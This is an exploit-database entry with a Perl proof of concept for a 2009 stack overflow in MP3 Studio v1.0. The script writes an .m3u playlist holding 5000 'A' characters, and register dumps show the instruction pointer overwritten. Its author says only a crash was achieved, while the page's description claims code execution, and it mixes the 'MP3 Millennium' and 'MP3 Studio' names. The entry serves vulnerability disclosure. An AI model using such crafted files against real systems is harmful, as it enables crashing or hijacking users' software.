MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC

vendor:

MP3 Millennium

by:

HACK4LOVE

9,3

CVSS

HIGH

Stack Overflow

119

CWE

Product Name: MP3 Millennium

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:software112:mp3_millennium

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC

A stack-based buffer overflow vulnerability exists in MP3 Studio v 1.0 when handling specially crafted .mpf and .m3u files. By sending a maliciously crafted .mpf or .m3u file, an attacker can cause a stack-based buffer overflow, resulting in the execution of arbitrary code. The vulnerability is caused due to a boundary error when handling overly long strings in the .mpf and .m3u files. This can be exploited to cause a stack-based buffer overflow by sending a maliciously crafted .mpf or .m3u file to the affected application.

Mitigation:

Upgrade to the latest version of MP3 Studio v 1.0 or apply the appropriate patch.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# Found By :: HACK4LOVE
# MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC
##http://www.software112.com/products/mp3-millennium+download.html
########################################################################################
##Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
########################################################################################
##EAX 00000000
##ECX 41414141
##EDX 7C9037D8 ntdll.7C9037D8
##EBX 00000000
##ESP 00134970
##EBP 00134990
##ESI 00000000
##EDI 00000000
##EIP 41414141
########################################################################################
## it so easy exploit but it did not work for me i hope some one exploit it#############
########################################################################################
my $crash="http://"."\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-27]